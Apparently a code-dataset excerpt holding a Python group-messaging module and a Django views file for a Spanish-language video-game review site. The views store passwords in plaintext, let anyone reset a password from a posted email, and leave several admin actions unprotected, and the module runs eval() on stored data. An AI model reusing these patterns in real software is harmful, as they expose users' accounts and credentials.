zfused_api.zFused.USER_ID\n\n user_ids.sort()\n _code = \"|\".join([str(_user_id) for _user_id in user_ids])\n _is_has = zfused_api.zFused.get(\"group\", filter = {\"Code\": _code, \"Mode\": mode})\n if _is_has:\n return _is_has[0].get(\"Id\"), True\n\n _group, _status = zfused_api.zFused.post( key = \"group\", \n data = { \"Name\": name,\n \"Code\": _code,\n \"Mode\": mode,\n \"CreatedBy\": _created_by,\n \"CreatedTime\": _created_time } )\n if not _status:\n return u\"{} create error\".format(name), False\n\n _group_id = _group.get(\"Id\")\n\n # group user\n for _user_id in user_ids:\n zfused_api.zFused.post( \"group_user\", { \"EntityType\": \"group\", \n \"EntityId\": _group_id, \n \"UserId\": _user_id,\n \"CreatedBy\": _created_by,\n \"CreatedTime\": _created_time })\n\n return _group_id, True\n\n \n global_dict = {}\n def __init__(self, entity_id, entity_data = None):\n super(Group, self).__init__(\"group\", entity_id, entity_data)\n\n if not self.global_dict.__contains__(self._id) or zfused_api.zFused.RESET:\n if self._data:\n self.global_dict[self._id] = self._data\n else:\n _data = self.get_one(\"group\", self._id)\n if not isinstance(_data, dict):\n logger.error(\"group id {0} not exists\".format(self._id))\n self._data = {}\n return None\n self._data = _data\n self.global_dict[self._id] = _data\n else:\n if self._data:\n self.global_dict[self._id] = self._data\n else:\n self._data = self.global_dict[self._id]\n \n if self._id not in self.global_dict:\n self.global_dict[self._id] = self._data\n\n def add_user_id(self, user_id):\n pass\n\n def remove_user_id(self, user_id):\n pass\n\n def user_ids(self):\n # 消息组成员\n _user_ids = [zfused_api.zFused.USER_ID]\n _project_step = self.project_step()\n _user_ids += _project_step.cc_user_ids() + _project_step.approvalto_user_ids() + _project_step.review_user_ids()\n\n _relatives = self.relatives()\n _relatives = eval(_relatives)\n if _relatives:\n for _relative in _relatives:\n if _relative.get(\"is_relative\"):\n _relative_project_step = zfused_api.step.ProjectStep(_relative.get(\"project_step_id\"))\n _relative_task = zfused_api.task.Task(_relative.get(\"task_id\"))\n _user_ids += [_relative_task.assigned_to()]\n _user_ids += _relative_project_step.review_user_ids() + _relative_project_step.cc_user_ids() + _relative_project_step.approvalto_user_ids() \n return _user_ids", "repo_name": "ReHuHuDeLengKaFei/zfused_outsource", "sub_path": "packages/zfused_api/v1/group.py", "file_name": "group.py", "file_ext": "py", "file_size_in_byte": 4721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "zfused_api.zFused.get", "line_number": 24, "usage_type": "call"}, {"api_name": "zfused_api.zFused", "line_number": 24, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused.get", "line_number": 27, "usage_type": "call"}, {"api_name": "zfused_api.zFused", "line_number": 27, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused.get", "line_number": 34, "usage_type": "call"}, {"api_name": "zfused_api.zFused", "line_number": 34, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused", "line_number": 54, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused.get", "line_number": 58, "usage_type": "call"}, {"api_name": "zfused_api.zFused", "line_number": 58, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused.post", "line_number": 62, "usage_type": "call"}, {"api_name": "zfused_api.zFused", "line_number": 62, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused.post", "line_number": 75, "usage_type": "call"}, {"api_name": "zfused_api.zFused", "line_number": 75, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused", "line_number": 88, "usage_type": "attribute"}, {"api_name": "zfused_api.zFused", "line_number": 116, "usage_type": "attribute"}, {"api_name": "zfused_api.step.ProjectStep", "line_number": 125, "usage_type": "call"}, {"api_name": "zfused_api.step", "line_number": 125, "usage_type": "attribute"}, {"api_name": "zfused_api.task.Task", "line_number": 126, "usage_type": "call"}, {"api_name": "zfused_api.task", "line_number": 126, "usage_type": "attribute"}]} +{"seq_id": "43575758757", "text": "from django.shortcuts import render, redirect\nfrom .models import pregunta, rol, usuario, videojuego, comentario, plataforma\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.hashers import check_password\nfrom django.contrib.auth import authenticate,login, logout\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\n\n# Create your views here.\n\ndef Pantalla(request,id):\n if id == 0:\n\n listaJ = videojuego.objects.get(id_videojuego = 63)\n listaT = videojuego.objects.get(id_videojuego = 76)\n\n listal = videojuego.objects.get(id_videojuego = 62)\n listap = videojuego.objects.get(id_videojuego = 74)\n\n listam = videojuego.objects.get(id_videojuego = 102)\n listan = videojuego.objects.get(id_videojuego = 101)\n\n listah = videojuego.objects.get(id_videojuego = 78)\n listag = videojuego.objects.get(id_videojuego = 68)\n\n contexto={\n \n \"VideoJ\":listaJ,\n \"VideoT\":listaT,\n\n \"VideoL\":listal,\n \"VideoP\":listap,\n\n \"VideoM\":listam,\n \"VideoN\":listan,\n\n \"VideoH\":listah,\n \"VideoG\":listag\n\n }\n return render(request,'extension/Pantalla.html',contexto)\n \n lista = usuario.objects.get(idUsuario=id)\n listaJ = videojuego.objects.get(id_videojuego = 63)\n listaT = videojuego.objects.get(id_videojuego = 76)\n\n listal = videojuego.objects.get(id_videojuego = 62)\n listap = videojuego.objects.get(id_videojuego = 74)\n\n listam = videojuego.objects.get(id_videojuego = 102)\n listan = videojuego.objects.get(id_videojuego = 101)\n\n listah = videojuego.objects.get(id_videojuego = 78)\n listag = videojuego.objects.get(id_videojuego = 68)\n\n contexto={\n \n \"Panta\": lista,\n\n \"VideoJ\":listaJ,\n \"VideoT\":listaT,\n\n \"VideoL\":listal,\n \"VideoP\":listap,\n\n \"VideoM\":listam,\n \"VideoN\":listan,\n\n \"VideoH\":listah,\n \"VideoG\":listag\n }\n return render(request,'extension/Pantalla.html',contexto)\n\n@login_required (login_url= 'Login' )\ndef Comentarios(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n listaUsuarios = usuario.objects.all()\n listaComentarios = comentario.objects.all()\n\n contexto = {\n \"usuarios\": listaUsuarios,\n \"comentarios\": listaComentarios\n\n }\n return render(request,'extension/Comentarios.html',contexto)\n\n@login_required (login_url= 'Login' )\ndef ModificarJuegos(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n lista = videojuego.objects.all()\n contexto = {\n \"ModificarV\": lista\n }\n return render(request,'extension/ModificarJuegos.html',contexto)\n\n@login_required (login_url= 'Login' )\ndef MJuegos(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n PlataM = plataforma.objects.all()\n VideoM = videojuego.objects.get(id_videojuego = id)\n contexto = {\n \"lista_plataformas\": PlataM,\n \"datos\": VideoM\n }\n return render(request,'extension/MJuegos.html',contexto)\n\n@login_required (login_url= 'Login' )\ndef modiJuegos(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n\n vFotoM = request.FILES.get('fotoMV' , '')\n vIDV = request.POST['idV']\n vNombreV = request.POST['nombreV']\n vDesc = request.POST['descripcion']\n vTrailerV = request.POST['trailer']\n vLinkV = request.POST['link']\n vPlataM = request.POST['plataformaM']\n \n VideojuegoModi = videojuego.objects.get(id_videojuego = vIDV)\n VideojuegoModi.nombreV = vNombreV\n VideojuegoModi.descripcion = vDesc\n VideojuegoModi.trailer = vTrailerV\n VideojuegoModi.link = vLinkV\n\n registroPlataM = plataforma.objects.get(id_plataforma = vPlataM)\n VideojuegoModi.plataforma_id = registroPlataM\n\n if vFotoM!='':\n VideojuegoModi.foto=vFotoM\n\n VideojuegoModi.save()\n messages.success(request,\"Juego modificado.\")\n return redirect('ModificarJuegos')\n\n@login_required (login_url= 'Login' )\ndef eliminarJuego(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n EliminarV = videojuego.objects.get(id_videojuego = id)\n EliminarV.delete()\n messages.success(request,\"Juego eliminado.\")\n return redirect('ModificarJuegos')\n\ndef Registrarse(request):\n listaPreguntas = pregunta.objects.all()\n \n contexto = {\n \"preguntas\": listaPreguntas\n }\n\n return render(request,'extension/Registrarse.html', contexto)\n\n@login_required (login_url= 'Login' )\ndef CambiarRol(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n usuariosC = usuario.objects.get(idUsuario = id)\n rolesC = rol.objects.all()\n\n contexto={\n \"usuarioCa\": usuariosC,\n \"RolesU\": rolesC\n }\n return render(request,'extension/CambiarRol.html', contexto)\n\n@login_required (login_url= 'Login' )\ndef Administrador(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n listaUsuarios = usuario.objects.all()\n listaRoles = rol.objects.all()\n\n contexto = {\n \"usuarios\": listaUsuarios,\n \"Roles\" : listaRoles\n }\n return render(request,'extension/administrador.html', contexto)\n\n@login_required (login_url= 'Login' )\ndef CambiRol(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n vID = request.POST['IDU']\n vCorreoC = request.POST['NombreUC']\n vRolC = request.POST['RolC']\n\n RolCambiar = usuario.objects.get(idUsuario = vID)\n RolCambiar.correo = vCorreoC\n \n registroRolC = rol.objects.get(id_rol = vRolC)\n RolCambiar.rol_id_rol = registroRolC\n\n RolCambiar.save()\n messages.success(request,\"Rol modificado\")\n\n return redirect('Administrador')\n\ndef Contacto(request,id):\n if id == 0:\n return render(request,'extension/Contacto.html')\n lista = usuario.objects.get(idUsuario=id)\n contexto = {\n \"contac\": lista\n }\n\n return render(request,'extension/Contacto.html',contexto)\n\ndef Login(request):\n logout(request)\n return render(request,'extension/Login.html')\n\ndef Modificar(request):\n return render(request,'extension/Modificar.html')\n\n@login_required (login_url= 'Login' )\ndef eliminarRol(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n EliminarR = rol.objects.get(id_rol = id)\n EliminarR.delete()\n messages.success(request,\"Rol eliminado.\")\n return redirect('AgregarRP')\n\n@login_required (login_url= 'Login' )\ndef eliminarPlata(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n EliminarP = plataforma.objects.get(id_plataforma = id)\n EliminarP.delete()\n messages.success(request,\"Plataforma eliminada.\")\n \n return redirect('AgregarPla')\n\n@login_required (login_url= 'Login' )\ndef AgregarRP(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n listaRols = rol.objects.all()\n \n contexto={\n \"Roles\" : listaRols\n \n }\n return render(request,'extension/AgregarRP.html',contexto)\n\n@login_required (login_url= 'Login' )\ndef AgregarPla(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n listaPlat = plataforma.objects.all()\n \n contexto={\n \"Plataforma\" : listaPlat\n }\n return render(request,'extension/AgregarPla.html',contexto)\n\ndef FormAgregarR(request):\n\n vRolN = request.POST['RolName']\n rol.objects.create( nombreR=vRolN )\n messages.success(request,\"Rol agregado.\")\n\n return redirect('AgregarRP')\n\ndef FormAgregarP(request):\n\n vPlata = request.POST['PlataformaName']\n plataforma.objects.create( nombrePLA=vPlata )\n messages.success(request,\"Plataforma agregada.\")\n \n\n return redirect('AgregarPla')\n\ndef ModificarP(request,id):\n\n lista = usuario.objects.get(idUsuario=id)\n contexto={\n \"ModificarP\":lista\n }\n\n return render(request,'extension/ModificarP.html',contexto)\n\ndef Olvidado(request):\n \n listaPreguntas = pregunta.objects.all()\n contexto = {\n \"preguntas\": listaPreguntas\n }\n return render(request,'extension/olvidado.html', contexto)\n\n@login_required (login_url= 'Login' )\ndef VerPerfil(request,id):\n\n lista = usuario.objects.get(idUsuario=id)\n contexto = {\n \"usuarios\": lista\n }\n\n return render(request,'extension/ver perfil.html', contexto)\n\ndef WebServices(request):\n return render(request,'extension/webServices.html')\n\ndef xbox(request,id):\n if id == 0:\n listaJuegos = videojuego.objects.filter(plataforma_id = 1)\n contexto = {\n \"juegos\": listaJuegos\n }\n return render(request,'extension/Exclusivo Xbox/xbox.html',contexto)\n \n lista = usuario.objects.get(idUsuario=id)\n listaJuegos = videojuego.objects.filter(plataforma_id = 1)\n contexto = {\n \"xbo\": lista,\n \"juegos\": listaJuegos\n }\n return render(request,'extension/Exclusivo Xbox/xbox.html', contexto)\n\ndef Play(request,id):\n if id == 0:\n listaJuegos = videojuego.objects.filter(plataforma_id = 3)\n contexto = {\n \"juegos1\": listaJuegos\n }\n return render(request,'extension/Exclusivo Play/playstation.html',contexto)\n\n lista = usuario.objects.get(idUsuario=id)\n listaJuegos = videojuego.objects.filter(plataforma_id = 3)\n contexto = {\n \"Pla\": lista,\n \"juegos1\": listaJuegos\n }\n return render(request,'extension/Exclusivo Play/playstation.html', contexto)\n\ndef Pc(request,id):\n if id == 0:\n listaJuegos = videojuego.objects.filter(plataforma_id = 4)\n contexto = {\n \"juegos2\": listaJuegos\n }\n return render(request,'extension/Exclusivo PC/pc.html',contexto)\n \n lista = usuario.objects.get(idUsuario=id)\n listaJuegos = videojuego.objects.filter(plataforma_id = 4)\n contexto = {\n \"PC\": lista,\n \"juegos2\": listaJuegos\n }\n return render(request,'extension/Exclusivo PC/pc.html',contexto)\n\ndef Nintendo(request, id):\n if id == 0:\n listaJuegos = videojuego.objects.filter(plataforma_id = 2)\n contexto = {\n \"juegos3\": listaJuegos\n }\n return render(request,'extension/Exclusivo Nintendo/nintendo.html',contexto)\n lista = usuario.objects.get(idUsuario=id)\n listaJuegos = videojuego.objects.filter(plataforma_id = 2)\n contexto = {\n \"Nin\": lista,\n \"juegos3\": listaJuegos\n }\n\n return render(request,'extension/Exclusivo Nintendo/nintendo.html',contexto)\n\ndef Batman(request, id):\n if request.user.is_authenticated:\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vID = vUser.idUsuario\n\n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"ID\" : vID,\n \"videojuego1\": juego,\n \"Comentario\" : Vcomen\n }\n return render(request,'extension/Exclusivo Play/BATMAN_ARKHAM_KNIGHT.html', contexto)\n else:\n\n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"videojuego1\" : juego,\n \"Comentario\" : Vcomen\n }\n return render(request,'extension/Exclusivo Play/BATMAN_ARKHAM_KNIGHT.html', contexto)\n\ndef DeadR(request, id):\n if request.user.is_authenticated:\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vID = vUser.idUsuario\n \n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"ID\" : vID,\n \"videojuego\": juego,\n \"comenT\" : Vcomen\n }\n return render(request,'extension/Exclusivo Xbox/deadrising.html', contexto)\n \n else:\n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"videojuego\": juego,\n \"comenT\" : Vcomen\n }\n return render(request,'extension/Exclusivo Xbox/deadrising.html', contexto)\n\ndef Animal(request, id):\n if request.user.is_authenticated:\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vID = vUser.idUsuario\n \n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"ID\" : vID,\n \"videojuego3\": juego,\n \"Comentario\" : Vcomen\n }\n return render(request,'extension/Exclusivo Nintendo/ANIMAL CROSSING.html', contexto)\n \n else:\n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"Comentario\" : Vcomen,\n \"videojuego3\": juego\n }\n return render(request,'extension/Exclusivo Nintendo/ANIMAL CROSSING.html', contexto)\n \ndef BMesa(request, id):\n if request.user.is_authenticated:\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vID = vUser.idUsuario\n \n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"ID\" : vID,\n \"videojuego2\": juego,\n \"Comentario\" : Vcomen\n }\n return render(request,'extension/Exclusivo PC/BLACK MESA.html', contexto)\n \n else:\n juego = videojuego.objects.get(id_videojuego = id)\n Vcomen= comentario.objects.filter(videojuego_id_videojuego=id)\n contexto = {\n \"videojuego2\": juego,\n \"Comentario\" : Vcomen\n }\n return render(request,'extension/Exclusivo PC/BLACK MESA.html', contexto)\n\n@login_required (login_url= 'Login' ) \ndef plantillaMenu(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n lista = usuario.objects.get(idUsuario=id)\n contexto ={\n \"usuarios\":lista\n\n }\n return render(request,'extension/plantillaMenu.html',contexto)\n\ndef formOlvidado(request):\n try: \n vPregunta=request.POST['pregunta']\n vRespuesta=request.POST['respuestas']\n vCorreo=request.POST['emailO']\n vRegistroPregunta = pregunta.objects.get(id_pregunta = vPregunta)\n vVariable = usuario.objects.get(pregunta_id_pregunta=vRegistroPregunta, respuesta=vRespuesta,correo=vCorreo) \n \n\n contexto ={ \n \"olvidado\":vVariable\n\n }\n\n\n if vRespuesta==vVariable.respuesta:\n return render(request,'extension/Modificar.html',contexto)\n else: \n return redirect('Login')\n except usuario.DoesNotExist:\n messages.error(request, \"No hay coincidencias \")\n return redirect('Olvidado')\n\n@login_required (login_url= 'Login' ) \ndef Agregar(request):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n listaPlataforma = plataforma.objects.all()\n contexto = {\n \"Plataformas\": listaPlataforma\n }\n return render(request,'extension/AgregarJuego.html', contexto)\n\ndef formAgregarJ(request):\n \n vNombreJ = request.POST['NombreJ']\n vDescripcion = request.POST['DescripcionJ']\n vTrailer = request.POST['TrailerJ']\n vFotoJ = request.FILES['SeleccioneJ']\n vLink = request.POST['LinkJ']\n vPlataforma = request.POST['plataforma']\n\n vRegistroPlataforma = plataforma.objects.get(id_plataforma=vPlataforma)\n videojuego.objects.create( nombreV=vNombreJ, descripcion=vDescripcion, \n trailer=vTrailer, foto=vFotoJ,link=vLink , plataforma_id=vRegistroPlataforma)\n \n if vRegistroPlataforma.id_plataforma==4:\n return redirect ('ModificarJuegos' )\n if vRegistroPlataforma.id_plataforma==1:\n return redirect ('ModificarJuegos')\n if vRegistroPlataforma.id_plataforma==3:\n return redirect ('ModificarJuegos ')\n if vRegistroPlataforma.id_plataforma==2:\n return redirect ('ModificarJuegos')\n \ndef formAgregarM(request):\n vClaveN = request.POST['passwordN']\n vCorreo = request.POST['emailM']\n \n \n listaM = usuario.objects.get(correo=vCorreo) \n\n\n if vClaveN !='':\n listaM.clave=vClaveN\n\n listaM.save()\n\n\n u = User.objects.get(username=vCorreo)\n u.set_password(vClaveN)\n u.save()\n\n contexto = {\n \"modificarU\": listaM\n }\n messages.success(request,\"Usuario Modificado\") \n return render(request,'extension/Login.html',contexto)\n\ndef formAgregarMP(request):\n\n vNombre = request.POST['nombreM']\n vApellido = request.POST['apellidoM']\n vTelefono =request.POST['telefonoM']\n vCorreo = request.POST['emailM']\n vFotoM = request.FILES.get('fotoMP', '')\n \n listaM = usuario.objects.get(correo=vCorreo) \n\n if vNombre !='':\n listaM.nombreU=vNombre\n \n if vApellido !='':\n listaM.apellido=vApellido\n \n if vTelefono !='':\n listaM.telefono=vTelefono\n\n if vFotoM!='':\n listaM.fotoU=vFotoM\n\n listaM.save()\n\n u = User.objects.get(username=vCorreo)\n u.save()\n\n contexto = {\n \"modificarU\": listaM\n } \n messages.success(request,\"Usuario Modificado\") \n return render(request,'extension/Login.html',contexto)\n\ndef formAgregarU(request):\n \n contexto = {}\n\n vNombreU = request.POST['nombre']\n contexto[\"nombre\"]=vNombreU\n\n vApellidoU = request.POST['apellido']\n contexto[\"apellido\"]=vApellidoU\n\n vClaveU = request.POST['password']\n contexto[\"password\"]=vClaveU\n\n vCorreoU = request.POST['email']\n contexto[\"email\"]=vCorreoU\n \n vPregunta=request.POST['pregunta']\n variable = pregunta.objects.all()\n contexto[\"preguntas\"]=variable\n\n vRespuesta=request.POST['respuesta']\n contexto[\"respuesta\"]=vRespuesta\n\n vTelefonoU = request.POST['telefono']\n contexto[\"telefono\"]=vTelefonoU\n\n vFechaU = request.POST['fecha']\n contexto[\"fecha\"]=vFechaU\n\n vFotoU = request.FILES['fotoU']\n\n vRol = 1 \n vRegistroRol = rol.objects.get(id_rol=vRol)\n\n valida = usuario.objects.all()\n for forcorreo in valida:\n if forcorreo.correo == vCorreoU:\n messages.error(request,\"Correo ya existente\")\n return render(request,'extension/Registrarse.html',contexto)\n\n vRegistroPregunta = pregunta.objects.get(id_pregunta = vPregunta)\n usuario.objects.create(nombreU=vNombreU, apellido=vApellidoU, clave=vClaveU, correo=vCorreoU, \n telefono=vTelefonoU, fechaU=vFechaU, fotoU=vFotoU, pregunta_id_pregunta=vRegistroPregunta, respuesta=vRespuesta, rol_id_rol=vRegistroRol) \n \n user = User.objects.create_user(vCorreoU,vCorreoU, vClaveU) \n\n return redirect('Login')\n\ndef formSesion(request):\n try:\n vCorreo = request.POST['loginEmail']\n vClave = request.POST['loginPassword']\n vRol = 0\n vRun= 0\n registro = usuario.objects.all()\n\n \n for rol in registro:\n if rol.correo == vCorreo and rol.clave == vClave:\n\n vRun = rol.idUsuario\n vRol = rol.rol_id_rol.id_rol\n user1 = User.objects.get(username = vCorreo)\n print(user1.username)\n pass_valida = check_password(vClave,user1.password)\n\n if not pass_valida:\n messages.error(request,\"El usuario o la contraseña son incorrectos\")\n return redirect('Login')\n\n user = authenticate(username=vCorreo,password = vClave)\n\n print(user)\n if user is not None:\n if vRol == 1:\n login(request,user)\n return redirect(f'VerPerfil/{vRun}')\n \n\n if vRol == 2:\n login(request,user)\n return redirect('Administrador') \n\n if vRol == 0:\n messages.success(request, \"Usuario no registrado\")\n return redirect('Login')\n except User.DoesNotExist:\n messages.error(request,\"El usuario no existe\")\n return redirect('Login')\n except Exception as e:\n print(e)\n\ndef formComentario(request):\n vComentario =request.POST['ComentarioJ']\n vIDComen =request.POST['id_com']\n \n \n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vJuego = videojuego.objects.get(id_videojuego=vIDComen)\n comentario.objects.create( comentarios=vComentario, usuario_id_usuario=vUser, videojuego_id_videojuego=vJuego)\n messages.success(request,\"comentario enviado\")\n return redirect(f'DeadR/{vIDComen}')\n\ndef formComentarioA(request):\n vComentario =request.POST['ComentarioJ']\n vIDComen =request.POST['id_com']\n \n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vJuego = videojuego.objects.get(id_videojuego=vIDComen)\n comentario.objects.create(comentarios=vComentario, usuario_id_usuario=vUser, videojuego_id_videojuego=vJuego)\n\n messages.success(request,\"comentario enviado\")\n\n return redirect(f'Animal/{vIDComen}')\n\ndef formComentarioBL(request):\n vComentario =request.POST['ComentarioJ']\n vIDComen =request.POST['id_com']\n \n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vJuego = videojuego.objects.get(id_videojuego=vIDComen)\n comentario.objects.create(comentarios=vComentario, usuario_id_usuario=vUser, videojuego_id_videojuego=vJuego)\n messages.success(request,\"comentario enviado\")\n return redirect(f'BMesa/{vIDComen}')\n\ndef formComentarioBT(request):\n vComentario =request.POST['ComentarioJ']\n vIDComen =request.POST['id_com']\n \n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vJuego = videojuego.objects.get(id_videojuego=vIDComen)\n comentario.objects.create(comentarios=vComentario, usuario_id_usuario=vUser, videojuego_id_videojuego=vJuego)\n messages.success(request,\"comentario enviado\")\n return redirect(f'Batman/{vIDComen}')\n\n@login_required (login_url= 'Login' ) \ndef VerComentarios(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n comen = comentario.objects.filter(usuario_id_usuario=id)\n\n contexto={\n \"comenT\": comen\n }\n return render(request,'extension/VerComentarios.html', contexto)\n\n@login_required (login_url= 'Login' ) \ndef eliminarComentario(request,id):\n\n vCorreo = request.user.username\n vUser = usuario.objects.get(correo=vCorreo)\n vRun = vUser.idUsuario\n vIDR = vUser.rol_id_rol.id_rol\n if vIDR != 2:\n return redirect (f'VerPerfil/{vRun}')\n \n EliminarC = comentario.objects.get(id_comentario = id)\n EliminarC.delete()\n messages.success(request,\"Comentario eliminado.\")\n return redirect('Comentarios')\n", "repo_name": "joadinho/Gametopia", "sub_path": "extension/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 25304, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "models.videojuego.objects.get", "line_number": 14, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 14, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 15, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 15, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 17, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 17, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 18, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 18, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 20, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 20, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 21, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 21, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 23, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 23, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 24, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 24, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}, {"api_name": "models.usuario.objects.get", "line_number": 43, "usage_type": "call"}, {"api_name": "models.usuario.objects", "line_number": 43, "usage_type": "attribute"}, {"api_name": "models.usuario", "line_number": 43, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 44, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 44, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 44, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 45, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.videojuego", "line_number": 45, "usage_type": "name"}, {"api_name": "models.videojuego.objects.get", "line_number": 47, "usage_type": "call"}, {"api_name": "models.videojuego.objects", "line_number": 47, "usage_type": 